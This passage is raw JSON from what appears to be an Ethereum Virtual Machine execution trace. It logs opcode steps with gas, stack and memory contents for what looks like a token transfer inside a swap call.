00","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15135,"op":"LT","gas":9257,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15136,"op":"ISZERO","gas":9254,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15137,"op":"PUSH2","gas":9251,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15140,"op":"JUMPI","gas":9248,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15148,"op":"JUMPDEST","gas":9238,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15149,"op":"POP","gas":9237,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15150,"op":"SUB","gas":9235,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15151,"op":"SWAP1","gas":9232,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0xce5","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":15152,"op":"JUMP","gas":9229,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0xce5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3301,"op":"JUMPDEST","gas":9221,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3302,"op":"DUP2","gas":9220,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3303,"op":"MLOAD","gas":9217,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3304,"op":"DUP2","gas":9214,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f